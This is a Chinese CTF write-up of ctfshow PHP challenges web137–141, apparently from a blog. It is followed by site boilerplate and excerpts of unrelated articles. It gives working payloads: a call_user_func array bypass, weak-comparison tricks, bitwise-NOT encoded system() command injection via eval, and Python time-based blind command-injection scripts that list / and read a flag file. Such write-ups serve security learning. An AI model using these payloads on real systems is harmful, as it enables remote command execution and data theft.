ctfshow-web入门-php特性(web137-web141)

目录

1、web137

2、web138

3、web139

4、web140

5、web141


1、web137

直接调用 ctfshow 这个类下的 getFlag 函数,payload:

ctfshow=ctfshow::getFlag

查看源码:

拿到 flag:ctfshow{dd387d95-6fbe-4703-8ec5-9c8f9baf2bb5}

在 php 中,-> 用于访问类的实例成员(属性和方法),我们需要先实例化类,然后通过实例对象来调用其成员;而 :: 用于访问类的静态成员(静态属性和静态方法)和常量,静态成员属于类本身,而不是任何具体实例,因此不需要实例化类即可调用它们。

2、web138

新增

if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}

strripos() 函数用于查找字符串在另一字符串中最后一次出现的位置(不区分大小写),这里相当于就是对提交内容过滤掉了冒号。

对于 call_user_func 我们还可以通过数组来传递,payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

ctfshow[0]=ctfshow:数组的第一个元素是字符串 "ctfshow",表示类名。
ctfshow[1]=getFlag:数组的第二个元素是字符串 "getFlag",表示类的静态方法名。

$ctfshow = [0 => 'ctfshow',1 => 'getFlag'
];

调用 strripos 时,如果第一个参数是数组,PHP 将会返回 null,因为 strripos 期望第一个参数是字符串类型,所以不会触发 die("private function");。

call_user_func($_POST['ctfshow']); 将解析为 call_user_func(['ctfshow', 'getFlag']);,这将静态调用 ctfshow::getFlag() 方法。

查看源码:

拿到 flag:ctfshow{a9f9b85e-2b43-4620-8e62-e767f99860fd}

3、web139

看似和 web136 一样,但是测了下 payload 不行,没有了写文件的权限。

脚本原理:

通过时间盲注攻击获取文件名,逐行、逐列地测试字符,并根据请求是否超时来确定正确的字符,每找到一个字符就添加到 result 中,最终打印出完整的结果。

先列出根目录:

注意这里最好走 http 协议,https 我输出有问题。

import requests
import time
import stringstr = string.ascii_letters + string.digits + '_~'
result = ""for i in range(1, 10):  # 行key = 0for j in range(1, 15):  # 列if key == 1:breakfor n in str:# awk 'NR=={0}'逐行输出获取# cut -c {1} 截取单个字符payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)# print(payload)url = "http://2150bfa9-5de9-47bf-833a-dac6a405f625.challenge.ctf.show/?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5))except:result = result + nprint(result)breakif n == '~':key = 1result += " "print("Final result:", result)

发现存在名为 f149_15_h3r3 的文件,读取:

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):print(j)if key==1:breakfor n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://2150bfa9-5de9-47bf-833a-dac6a405f625.challenge.ctf.show/?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)break

加上大括号包裹,最终 flag:ctfshow{5a0ffe9d-5ade-4236-b824-45f929ff25fe}

4、web140

正则表达式要求 f1 和 f2 只能是数字和小写字母,$f2() 被视为一个函数调用,$f1 作为函数名调用 $f2() 的返回值,最后进行弱比较,由于 'ctfshow' 转换为整数是 0,因此条件实际上是检查 intval($code) 是否为 0。

那么 $code 就有很多的情况:

(1)字母开头的字符串

字符串形式的字母或数字(如 "a", "b123", 等),在 PHP 中,任何以字母开头的字符串在转换为整数时通常会被视为 0。

(2)空字符串 "" 和 "0":在转换为整数时也是 0。

(3)空数组:空数组 array() 在转换为整数时会被视为 0。

(4)整数 0:直接返回整数 0。

(5)布尔值 false:布尔值 false 在转换为整数时会被视为 0。

payload:

f1=system&f2=system   # 布尔值 false
f1=md5&f2=phpinfo   # 字母开头的字符串
f1=usleep&f2=usleep   # usleep() 没有返回值,调用 usleep() 将导致 eval() 返回 null。当 null 传递给 intval() 时,返回值是 0。

查看源码: 

 

拿到 flag:ctfshow{60e8e916-088f-4618-b9b5-74fd4ec828d4}

5、web141

要求 v1 和 v2 是数字,检查 v3 是否只包含非单词字符(非字母、非数字、非下划线),且长度大于零,将 $v1 和 $v2 作为操作数,$v3 作为操作符,构建一个表达式,并使用 eval() 执行它,最后输出表达式及其结果。

在 php 里数字和一些命令进行运算后也是可以让命令执行的,比如 1-phpinfo(); 是可以执行 phpinfo() 命令的,那么我们这里可能构造出命令的地方就是在 v3 了,再在 v3 前后加上运算符即可,这里采用取反的方法:

<?php
echo urlencode(~'system');
echo "\n".urlencode(~'ls');
?>

构造 payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-

读取 flag:

<?php
echo urlencode(~'system');
echo "\n".urlencode(~'tac flag.php');
?>

构造 payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)-

拿到 flag:ctfshow{d7125c70-b6c9-4504-afb4-e7f187f5d497}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1489508.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

19 Python常用内置函数——range()

range() 是 Python 开发中非常常用的一个内置函数。该函数返回具有惰性求值特点的 range 对象&#xff0c;其中包含左闭右开区间 [start, end) 内以 step 为步长的整数。 参数 start 默认为 0&#xff0c;step 默认为 1。 print(range(5)) print(list(range(5))) print(list(r…

我在Vscode学Java泛型(泛型设计、擦除、通配符)

Java泛型 一、泛型 Generics的意义1.1 在没有泛型的时候&#xff0c;集合如何存储数据1.2 引入泛型的好处1.3 注意事项1.3.1 泛型不支持基本数据类型1.3.2 当泛型指定类型&#xff0c;传递数据时可传入该类及其子类类型1.3.3 如果不写泛型&#xff0c;类型默认是Object 二、泛型…

Java语言程序设计——篇九(1)

&#x1f33f;&#x1f33f;&#x1f33f;跟随博主脚步&#xff0c;从这里开始→博主主页&#x1f33f;&#x1f33f;&#x1f33f; 内部类 概述内部类—内部类的分类成员内部类实战演练 局部内部类实战演练 匿名内部类实战演练 静态内部类实战演练 概述 内部类或嵌套类&#…

【计算机网络】RIP路由协议实验

一&#xff1a;实验目的 1&#xff1a;掌握在路由器上配置RIPv2。 二&#xff1a;实验仪器设备及软件 硬件&#xff1a;RCMS交换机、网线、内网网卡接口、Windows 2019操作系统的计算机等。具体为&#xff1a;三层交换机1台、路由器2台。 软件&#xff1a;wireshark软件、记…

virtualbox ubuntu扩充磁盘大小

首先在虚拟存储管理里面修改磁盘大小 然后安装gparted sudo gparted 打开管理工具 选中要调整的区域右键选择调整区域大小 拖动上述位置就可以实现扩容。完成后点击应用 然后重启虚拟机即可。

WSL快速入门

1. WSL介绍 WSL文档地址&#xff1a;https://learn.microsoft.com/zh-cn/windows/wsl WSL&#xff1a;全称 Windows Subsystem for Linux&#xff0c;即windows上的Linux子系统&#xff08;虚拟机工具&#xff09;。是Win10推出的全新特性&#xff0c;可以更轻量地在Windows系统…

vue3中element tabs标签页 tab-click事件无法拿到最新值

element tabs标签页有2个常用的事件方法&#xff0c;tab-click 和 tab-change tab-click事件 tab-click事件&#xff1a;当用户点击Tab标签时触发&#xff0c;有2个返回参数&#xff0c; (pane: TabsPaneContext, ev: Event) pane.props.name 中可以获取到最新的tab页签绑定值 …

定时器+外部中断实现NEC红外线协议解码

一、前言 1.1 功能介绍 随着科技的进步和人们生活水平的提高&#xff0c;红外遥控器已经成为了日常生活中不可或缺的电子设备之一&#xff0c;广泛应用于电视、空调、音响等多种家电产品中。 传统的红外遥控器通常只能实现预设的有限功能&#xff0c;无法满足用户对设备更加智…

WHAT - 屏幕 dpr 设备像素比率

目录 一、设备像素比率 (DPR)二、DPR 与每英寸点数 (DPI)三、dpr2 和 dpr1 有什么区别设备像素比率为 1 (DPR 1)设备像素比率为 2 (DPR 2)实际区别示例代码例子 一、设备像素比率 (DPR) DPR&#xff08;设备像素比率&#xff09;常常在讨论屏幕分辨率和显示质量时使用。 设…

RockyLinux 9 PXE Server bios+uefi 自动化部署 RockLinux 8 9

pxe server 前言 PXE&#xff08;Preboot eXecution Environment&#xff0c;预启动执行环境&#xff09;是一种网络启动协议&#xff0c;允许计算机通过网络启动而不是使用本地硬盘。PXE服务器是实现这一功能的服务器&#xff0c;它提供了启动镜像和引导加载程序&#xff0c;…

1.2 单链表定义及操作实现(链式结构)

1.单链表定义 链式存储&#xff1a;用一组任意的存储单元存储线性表中的数据元素。用这种方法存储的线性 表简称线性链表。 为了正确表示结点间的逻辑关系&#xff0c;在存储每个结点值的同时&#xff0c;还必须存储指示其直接 后继结点的地址&#xff08;或位置&#xff09;…

故障诊断 | 基于Transformer故障诊断分类预测(Matlab)

文章目录 预测效果文章概述程序设计参考资料预测效果 文章概述 Transformer故障诊断/分类预测 | 基于Transformer故障诊断分类预测(Matlab) Transformer 模型本质上都是预训练语言模型,大都采用自监督学习 (Self-supervised learning) 的方式在大量生语料上进行训练,也就是…

Java解析epub电子书文件实战demo

如何使用 Java、Spring Boot 和 Epublib 库解析存储在阿里云对象存储服务&#xff08;OSS&#xff09;上的 EPUB 文件。这里将指导您完成设置必要依赖项、配置 OSS 客户端以及编写服务以读取和提取 EPUB 文件章节的全过程。 步骤1&#xff1a;添加依赖项 首先&#xff0c;将 E…

微信小程序消息订阅处理实践

微信小程序提供订阅消息功能&#xff0c;分为一次性订阅消息、长期订阅消息。长期订阅消息目前只针对民生、金融、教育等有线下服务场景的类目开放。这些只是大类&#xff0c;并不表示所包含的所有二级类目都能申请长期订阅消息&#xff0c;具体看官方文档。 另一个长期订阅消…

RNN(一)——循环神经网络的实现

文章目录 一、循环神经网络RNN1.RNN是什么2.RNN的语言模型3.RNN的结构形式 二、完整代码三、代码解读1.参数return_sequences2.调参过程 一、循环神经网络RNN 1.RNN是什么 循环神经网络RNN主要体现在上下文对理解的重要性&#xff0c;他比传统的神经网络&#xff08;传统的神…

04 卷积神经网络

目录 1. 基本概念 1.1 卷积神经网络 1.2 卷积 1.3 汇聚&#xff08;池化&#xff09; 2. CNN网络架构及参数学习 2.1 网络架构 2.2 参数学习 3. 典型的卷积神经网络 3.1 LeNet-5 3.2 AlexNet 3.3 Inception网络 3.4 残差网络 4. 其他卷积方式 1. 基本概念 1.1 …

ReentrantReadWriteLock详解

目录 ReentrantReadWriteLock详解1、ReentrantReadWriteLock简介2、ReentrantReadWriteLock类继承结构和类属性3、ReentrantReadWriteLock的读写锁原理分析4、ReentrantReadWriteLock.WriteLock类的核心方法详解非公平写锁的获取非公平写锁的释放公平写锁的获取公平写锁的释放 …

全网最最实用--模型高效推理:量化基础

文章目录 一、量化基础--计算机中数的表示1. 原码&#xff08;Sign-Magnitude&#xff09;2. 反码&#xff08;Ones Complement&#xff09;3. 补码&#xff08;Twos Complement&#xff09;4. 浮点数&#xff08;Floating Point&#xff09;a.常用的浮点数标准--IEEE 754(FP32…

ElasticSearch核心之DSL查询语句实战

什么是DSL&#xff1f; Elasticsearch提供丰富且灵活的查询语言叫做DSL查询(Query DSL),它允许你构建更加复杂、强大的查询。 DSL(Domain Specific Language特定领域语言)以JSON请求体的形式出现。目前常用的框架查询方法什么的底层都是构建DSL语句实现的&#xff0c;所以你必…

跨境电商独立站:Shopify/Wordpress/店匠选哪个?

在面对不断增加的平台运营压力时&#xff0c;不少跨境电商的商家逐渐将注意力转向建立自己的独立站。据《中国跨境出口电商发展报告&#xff08;2022&#xff09;》所示&#xff0c;中国拥有的独立站数量在2022年已接近20万个&#xff0c;这表明独立站已成为卖家拓展海外市场的…